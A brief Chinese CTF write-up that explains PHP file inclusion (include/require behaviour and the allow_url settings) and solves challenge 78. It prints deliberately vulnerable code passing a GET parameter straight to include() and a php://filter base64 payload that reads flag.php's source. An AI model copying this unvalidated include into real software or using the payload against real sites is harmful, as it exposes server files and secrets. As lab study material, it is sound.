前言
1.什么是文件包含?
通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意
外的文件泄漏甚至恶意代码注入。
2.文件包含的要求是什么?
alow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据
allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件
3.通过什么触发?
通过php函数例如include,require等等
include只生成警告但是会继续执行
require生成警告但是停止执行
include包含txt也会把里面的内容当做php代码来执行。
78
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:10:14
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 11:12:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
伪协议随意操作?file=php://filter/read=convert.base64-encode/resource=flag.php
<